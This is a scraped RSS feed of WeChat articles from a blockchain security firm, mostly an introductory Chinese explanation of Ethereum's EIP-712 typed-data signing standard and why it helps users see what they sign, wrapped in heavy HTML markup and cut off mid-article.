data-recommend-article-content-url="https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247490054&amp;idx=1&amp;sn=faa8621631fcaf39d7e4b448b2cf2f35&amp;chksm=c2850540f5f28c56154b485927437f1377b1ac278f025ce0f08439f8229c4b32bcb73155f0f4#rd"><a href="https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247490054&amp;idx=1&amp;sn=faa8621631fcaf39d7e4b448b2cf2f35&amp;chksm=c2850540f5f28c56154b485927437f1377b1ac278f025ce0f08439f8229c4b32bcb73155f0f4&amp;scene=21#wechat_redirect" data-linktype="1"><section data-recommend-content="t" style="width: 100%;padding: 5px 10px;background: rgb(249, 249, 249);border-radius: 3px;border-width: 1px;border-style: solid;border-color: rgb(239, 239, 239);margin-bottom: 8px;display: flex;justify-content: space-between;align-items: center;" data-mid=""><section style="margin-right: 12px;flex: 1;" data-mid=""><p data-recommend-title="t" style="font-size: 13px;font-weight: 400;color: #333333;line-height: 18px;margin-bottom: 20px;max-width: 100%;overflow: hidden;display: -webkit-box;-webkit-line-clamp: 2;-webkit-box-orient: vertical;" data-mid="">走进区块链的第一步：mev浅析</p><p data-recommend-date="t" style="max-width: 100%;font-size: 11px;font-weight: 400;color: #999999;line-height: 16px;" data-mid="">2022-06-09</p></section><span class="js_jump_icon h5_image_link" data-positionback="static" style="inset: auto;margin: 0px;"><img class="rich_pages wxw-img" data-ratio="1.0013908205841446" style="width: 51px;height: 51px;object-fit: cover;margin: 0px;" data-w="719" src="https://wechat2rss.xlab.app/img-proxy/?k=6c62e85b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fe9yMd8aXldf8TDg9FrYOnZNPwL0ldnqDDv5cKHKQAm39TVnpgJlTKOElSLuoy5HhQnZSsgdRDzicR6ogQaWdHMA%2F640%3Fwx_fmt%3Djpeg"/></span> </section></a></section><section data-mpa-template="t" data-recommend-article-type="list-normal" data-recomment-template-id="2" data-recommend-article-id="2247484277_1" data-recommend-article-time="1621852998" data-recommend-article-cover="https://mmbiz.qlogo.cn/mmbiz_jpg/e9yMd8aXldficMGlySyYq7R0jkONpE5IXGeEX0MMCZKBaU0H1SmicM4RFMbA6ZCNSd4YXWWUXaRZagS0MR3smlCw/0?wx_fmt=jpeg" data-recommend-article-title="Laravel反序列化学习" data-recommend-article-content-url="https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247484277&amp;idx=1&amp;sn=8380f7e4560126e45f5c55feecc2c2c1&amp;chksm=c2851c33f5f29525e4e1ea6fa43ba2d4876520fba5fa18e448719f321310c353a92e0de2b2ae#rd"><a href="https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247484277&amp;idx=1&amp;sn=8380f7e4560126e45f5c55feecc2c2c1&amp;chksm=c2851c33f5f29525e4e1ea6fa43ba2d4876520fba5fa18e448719f321310c353a92e0de2b2ae&amp;scene=21#wechat_redirect" data-linktype="1"><section data-recommend-content="t" style="width: 100%;padding: 5px 10px;background: rgb(249, 249, 249);border-radius: 3px;border-width: 1px;border-style: solid;border-color: rgb(239, 239, 239);margin-bottom: 8px;display: flex;justify-content: space-between;align-items: center;" data-mid=""><section style="margin-right: 12px;flex: 1;" data-mid=""><p data-recommend-title="t" style="font-size: 13px;font-weight: 400;color: #333333;line-height: 18px;margin-bottom: 20px;max-width: 100%;overflow: hidden;display: -webkit-box;-webkit-line-clamp: 2;-webkit-box-orient: vertical;" data-mid="">Laravel反序列化学习</p><p data-recommend-date="t" style="max-width: 100%;font-size: 11px;font-weight: 400;color: #999999;line-height: 16px;" data-mid="">2021-05-24</p></section><span class="js_jump_icon h5_image_link" data-positionback="static" style="inset: auto;margin: 0px;"><img data-ratio="1" style="width: 51px;height: 51px;object-fit: cover;margin: 0px;" data-w="431" src="https://wechat2rss.xlab.app/img-proxy/?k=2ef6855a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fe9yMd8aXldficMGlySyYq7R0jkONpE5IXGeEX0MMCZKBaU0H1SmicM4RFMbA6ZCNSd4YXWWUXaRZagS0MR3smlCw%2F640%3Fwx_fmt%3Djpeg"/></span> </section></a></section><section data-mpa-template="t" data-recommend-article-type="list-normal" data-recomment-template-id="2" data-recommend-article-id="2247484235_1" data-recommend-article-time="1618979898" data-recommend-article-cover="https://mmbiz.qlogo.cn/mmbiz_jpg/e9yMd8aXldcxgeRlE8bibacv2rh9NSZxQyD0q7tP1peRbfht5DnsG8uMZ8blH2K1MZ7fO0icvn2EU61n0waPJY2g/0?wx_fmt=jpeg" data-recommend-article-title="ProxyLogon利用链复现" data-recommend-article-content-url="https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247484235&amp;idx=1&amp;sn=a6a85102eb0b865e2e0cc263b4d81e41&amp;chksm=c2851c0df5f2951b1bb49916703f7575beed01cc14edefeb23bfba38f1042f9d6fb59ca787d4#rd"><a href="https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247484235&amp;idx=1&amp;sn=a6a85102eb0b865e2e0cc263b4d81e41&amp;chksm=c2851c0df5f2951b1bb49916703f7575beed01cc14edefeb23bfba38f1042f9d6fb59ca787d4&amp;scene=21#wechat_redirect" data-linktype="1"><section data-recommend-content="t" style="width: 100%;padding: 5px 10px;background: rgb(249, 249, 249);border-radius: 3px;border-width: 1px;border-style: solid;border-color: rgb(239, 239, 239);margin-bottom: 8px;display: flex;justify-content: space-between;align-items: center;" data-mid=""><section style="margin-right: 12px;flex: 1;" data-mid=""><p data-recommend-title="t" style="font-size: 13px;font-weight: 400;color: #333333;line-height: 18px;margin-bottom: 20px;max-width: 100%;overflow: hidden;display: -webkit-box;-webkit-line-clamp: 2;-webkit-box-orient: vertical;" data-mid="">ProxyLogon利用链复现</p><p data-recommend-date="t" style="max-width: 100%;font-size: 11px;font-weight: 400;color: #999999;line-height: 16px;" data-mid="">2021-04-21</p></section><span class="js_jump_icon h5_image_link" data-positionback="static" style="inset: auto;margin: 0px;"><img data-ratio="1.0015174506828528" style="width: 51px;height: 51px;object-fit: cover;margin: 0px;" data-w="659" src="https://wechat2rss.xlab.app/img-proxy/?k=0ba9d1a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fe9yMd8aXldcxgeRlE8bibacv2rh9NSZxQyD0q7tP1peRbfht5DnsG8uMZ8blH2K1MZ7fO0icvn2EU61n0waPJY2g%2F640%3Fwx_fmt%3Djpeg"/></span> </section></a></section><section data-mpa-template="t" data-recommend-article-type="list-normal" data-recomment-template-id="2" data-recommend-article-id="2247484045_1" data-recommend-article-time="1615888865" data-recommend-article-cover="https://mmbiz.qlogo.cn/mmbiz_jpg/e9yMd8aXldf2hSIYMDvJJ09S4SuPmPlbNibmibtnrcy8bUF92nRTHRmrD0O8MVFiaXInlbRWaJqSzTcFWfV0NM77Q/0?wx_fmt=jpeg" data-recommend-article-title="记一次跌宕起伏的白盒审计到RCE" data-recommend-article-content-url="https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247484045&amp;idx=1&amp;sn=d8b55ddd884911b72316d855ae84548f&amp;chksm=c2851dcbf5f294dd763401537492dbb60b7b8f3fec790eced6f4cc18c3b8b621543a0e3424bb#rd"><a href="https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247484045&amp;idx=1&amp;sn=d8b55ddd884911b72316d855ae84548f&amp;chksm=c2851dcbf5f294dd763401537492dbb60b7b8f3fec790eced6f4cc18c3b8b621543a0e3424bb&amp;scene=21#wechat_redirect" data-linktype="1"><section data-recommend-content="t" style="width: 100%;padding: 5px 10px;background: rgb(249, 249, 249);border-radius: 3px;border-width: 1px;border-style: solid;border-color: rgb(239, 239, 239);margin-bottom: 8px;display: flex;justify-content: space-between;align-items: center;" data-mid=""><section style="margin-right: 12px;flex: 1;" data-mid=""><p data-recommend-title="t" style="font-size: 13px;font-weight: 400;color: #333333;line-height: 18px;margin-bottom: 20px;max-width: 100%;overflow: hidden;display: -webkit-box;-webkit-line-clamp: 2;-webkit-box-orient: vertical;" data-mid="">记一次跌宕起伏的白盒审计到RCE</p><p data-recommend-date="t" style="max-width: 100%;font-size: 11px;font-weight: 400;color: #999999;line-height: 16px;" data-mid="">2021-03-16</p></section><span class="js_jump_icon h5_image_link" data-positionback="static" style="inset: auto;margin: 0px;"><img data-ratio="1" style="width: 51px;height: 51px;object-fit: cover;margin: 0px;" data-w="443" src="https://wechat2rss.xlab.app/img-proxy/?k=23da66ed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fe9yMd8aXldf2hSIYMDvJJ09S4SuPmPlbNibmibtnrcy8bUF92nRTHRmrD0O8MVFiaXInlbRWaJqSzTcFWfV0NM77Q%2F640%3Fwx_fmt%3Djpeg"/></span> </section></a></section></section></section><p><br/></p><p><br mpa-from-tpl="t"/></p><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-end;align-items: center;width: 100%;padding-right: 8px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="display: flex;flex-direction: column;justify-content: flex-start;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="transform: translateY(6.5px);" data-mid="" mpa-from-tpl="t"><p style="padding: 0px 4px;font-size: 16px;font-family: PingFangSC-Semibold, PingFang SC;font-weight: bold;color: #333333;line-height: 22px;" data-mid="">点个<span style="padding: 0px 4px;color: #73ADDF;" data-mid="">在看</span>你最好看</p></section><section style="height: 6px;width: 100%;background: #B9DAF6;" data-mid="" mpa-from-tpl="t"><br/></section></section><section style="width: 47px;margin-left: -10px;" data-mid="" mpa-from-tpl="t"><img data-ratio="1" style="display: block;" data-w="94" src="https://wechat2rss.xlab.app/img-proxy/?k=a7d14610&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F4UyqgZ3EUCVmagovxwojG1mMVGKqM7NLPgRASeqDppvrD5OJ9uPcSUspL7EuzgIib2icJILricvIt1X4vHYavFuJQ%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section><p><br/></p>



<p><a href="2247495003">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=3c391d13&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkzODE2NjgyNQ%3D%3D%26mid%3D2247495003%26idx%3D1%26sn%3D666b057bbef80321da916c81dfcad5d5%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 21 Jul 2022 17:38:00 +0800</pubDate>
    </item>
    <item>
      <title>以太坊标准——EIP712</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkzODE2NjgyNQ==&amp;mid=2247490099&amp;idx=1&amp;sn=1c7bd29670a52d640e62cddbef2e14db</link>
      <description>以太坊标准——EIP712</description>
      <content:encoded><![CDATA[<p>
<span>零鉴科技</span> <span>2022-06-10 18:00</span> <span style="display: inline-block;">湖南</span>
</p>

<p>以太坊标准——EIP712</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=32cc3152&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fe9yMd8aXldfXzWMAa9mf7arBjO0bymQibZJFb6m9Jo2vAEC6grSzSwhOCooOQ3DIpia3ibIgAluoHIOPYUR1blEEg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p data-mpa-powered-by="yiban.io"><br mpa-from-tpl="t"/></p><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;padding: 6px 0px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="width: 26px;height: 32px;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="1.2307692307692308" data-w="52" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=ff82ac7d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQuYHyqum16C38dxacArBoprbEpPyYhAywPWL5hOjicAyNf49L6RgDTD88dl2uDNEEtFUbEexw5z7oLObo5vRNibg%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section><p><br mpa-from-tpl="t"/></p><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="width: 13px;height: 13px;align-self: flex-start;margin-bottom: -13px;z-index: 1;" data-mid="" mpa-from-tpl="t"><img data-ratio="1" style="display: block;" data-type="png" data-w="26" src="https://wechat2rss.xlab.app/img-proxy/?k=fcd19117&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fx9316AdmojhCJUicU59yGKU5XEbqbLxI9dN9qJIv94FtNibJgalwSRPOX4iaz0CiaE7WHicibwyJWUuOhDYWAJNZia9gw%2F640%3Fwx_fmt%3Dpng"/></section><section style="display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="width: 35px;height: 32px;background: rgb(57, 57, 57);border-width: 1px;border-style: solid;border-color: rgb(51, 51, 51);text-align: center;overflow: hidden;white-space: nowrap;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(255, 255, 255);line-height: 32px;" data-mid=""><span style="font-size: 18px;">一<br/></span></p></section><section style="height: 32px;border-width: 1px;border-style: solid;border-color: rgb(51, 51, 51);padding: 0px 15px;text-align: center;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, PingFang SC;font-weight: bold;color: #393939;line-height: 32px;" data-mid=""><span style="font-size: 18px;">什么是EIP</span><br/></p></section></section></section></section></section><p><br mpa-from-tpl="t"/></p><section style="box-sizing: border-box;orphans: 4;margin: 16px 16px 24px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><span style="font-size: 15px;box-sizing: border-box;letter-spacing: 1px;color: rgb(84, 84, 84);">EIP（Ethereum Improvement Proposals）是向以太坊社区提供信息或描述以太坊或其流程或环境的新功能的设计文档。   </span></section><section style="box-sizing: border-box;orphans: 4;margin: 16px 16px 24px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><span style="color: rgb(84, 84, 84);font-size: 15px;letter-spacing: 1px;">EIP 作为一个中心角色，记载以太坊的变化并且记载在以太坊中。它们是人们提议、辩论和适应变化的途径。</span></section><section style="box-sizing: border-box;orphans: 4;margin: 16px 16px 24px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><span style="color: rgb(84, 84, 84);font-size: 15px;letter-spacing: 1px;">有各种不同类型的EIP，其中包括会影响共识并需要网络升级的用于底层协议更改的核心EIP，以及用于应用程序标准的ERC。</span></section><section style="box-sizing: border-box;orphans: 4;margin: 16px 16px 24px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><span style="color: rgb(84, 84, 84);font-size: 15px;letter-spacing: 1px;">例如，创建token 的标准，ERC20 或 ERC721 允许应用程序使用相同的规则处理所有 token，使得创建互操作应用程序更加容易。 </span></section><p style="box-sizing: border-box;orphans: 4;margin: 24px 16px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><span style="color: rgb(84, 84, 84);font-size: 15px;letter-spacing: 1px;"> EIP-712则是代表712号提案，主要内容是对类型化结构化数据进行散列和签名的标准，而不仅仅是字节串。</span><br/></p><p style="box-sizing: border-box;orphans: 4;margin: 0.8em 16px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><span style="font-size: 15px;box-sizing: border-box;letter-spacing: 1px;color: rgb(84, 84, 84);">   <br mpa-from-tpl="t"/></span></p><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;padding: 6px 0px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="width: 26px;height: 32px;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="1.2307692307692308" data-w="52" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=ff82ac7d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQuYHyqum16C38dxacArBoprbEpPyYhAywPWL5hOjicAyNf49L6RgDTD88dl2uDNEEtFUbEexw5z7oLObo5vRNibg%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section><p><br mpa-from-tpl="t"/></p><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="width: 13px;height: 13px;align-self: flex-start;margin-bottom: -13px;z-index: 1;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="1" style="display: block;" data-type="png" data-w="26" src="https://wechat2rss.xlab.app/img-proxy/?k=fcd19117&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fx9316AdmojhCJUicU59yGKU5XEbqbLxI9dN9qJIv94FtNibJgalwSRPOX4iaz0CiaE7WHicibwyJWUuOhDYWAJNZia9gw%2F640%3Fwx_fmt%3Dpng"/></section><section style="display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="width: 35px;height: 32px;background: rgb(57, 57, 57);border-width: 1px;border-style: solid;border-color: rgb(51, 51, 51);text-align: center;overflow: hidden;white-space: nowrap;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(255, 255, 255);line-height: 32px;" data-mid=""><span style="font-size: 18px;">二<br/></span></p></section><section style="height: 32px;border-width: 1px;border-style: solid;border-color: rgb(51, 51, 51);padding: 0px 15px;text-align: center;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, PingFang SC;font-weight: bold;color: #393939;line-height: 32px;" data-mid=""><span style="font-size: 18px;">为什么要使用EIP712</span><br/></p></section></section></section></section></section><p style="box-sizing: border-box;orphans: 4;margin: 0.8em 16px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><br/></p><p style="box-sizing: border-box;orphans: 4;margin: 16px 16px 24px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><span style="box-sizing: border-box;font-size: 15px;letter-spacing: 1px;color: rgb(84, 84, 84);">该EIP主要针对两个问题：     </span></p><p style="box-sizing: border-box;orphans: 4;margin: 16px 16px 24px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><span style="box-sizing: border-box;font-size: 15px;letter-spacing: 1px;color: rgb(84, 84, 84);">1. 提高链下消息签名在链上使用的可用性，节省gas；       </span></p><p style="box-sizing: border-box;orphans: 4;margin: 16px 16px 24px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><span style="box-sizing: border-box;font-size: 15px;letter-spacing: 1px;color: rgb(84, 84, 84);">2. 让用户知道他们在给什么数据进行签名。</span></p><p style="box-sizing: border-box;orphans: 4;margin: 16px 16px 24px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><span style="color: rgb(84, 84, 84);font-size: 15px;letter-spacing: 1px;">在</span><span style="color: rgb(84, 84, 84);font-size: 15px;letter-spacing: 1px;">传统的dapp签名中，用户看到的往往是一串十六进制的数据，如下图：</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.456824512534819" data-s="300,640" width="718" data-type="png" data-w="718" height="857" style="" src="https://wechat2rss.xlab.app/img-proxy/?k=646586ef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fe9yMd8aXldeTZ2n2PxW71KicTc9WgBRXAJtVpFvfSCkCHudibRwTibzA05oHXvKF8a6g2FpprloTgYniag198WD4KA%2F640%3Fwx_fmt%3Dpng"/></p><section style="box-sizing: border-box;orphans: 4;margin: 24px 16px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><span style="box-sizing: border-box;font-size: 15px;letter-spacing: 1px;color: rgb(84, 84, 84);">而EIP712强调了一种对数据及其结构进行编码的方案，该方案允许在签名时将其显示给用户进行验证，让用户清楚的知道他们将要签署什么样的数据，如下图所示：</span></section><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.4422535211267606" data-s="300,640" style="" data-type="jpeg" data-w="710" src="https://wechat2rss.xlab.app/img-proxy/?k=ff7974bc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fe9yMd8aXldeibD9APSYL3bZRiaGJAC3icVgy6a9XMSGGFibu5UWTrRRVZjCJGiabm6gLH4ncjOIDtLZoerEDYpFaqIQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="box-sizing: border-box;orphans: 4;margin: 0.8em 16px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><br/></p><p style="box-sizing: border-box;orphans: 4;margin: 0.8em 16px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><span style="color: rgb(84, 84, 84);font-size: 15px;letter-spacing: 1px;">这样使得签名消息在实用性和安全性取得重大进步，让用户对dapp的签名内容有所了解，而不是稀里糊涂的在恶意dapp签署签名。</span></p><p style="box-sizing: border-box;orphans: 4;margin: 0.8em 16px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><span style="font-size: 15px;box-sizing: border-box;letter-spacing: 1px;color: rgb(84, 84, 84);"><br mpa-from-tpl="t"/></span></p><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;padding: 6px 0px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="width: 26px;height: 32px;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="1.2307692307692308" data-w="52" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=ff82ac7d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQuYHyqum16C38dxacArBoprbEpPyYhAywPWL5hOjicAyNf49L6RgDTD88dl2uDNEEtFUbEexw5z7oLObo5vRNibg%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section><p><br/></p><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" 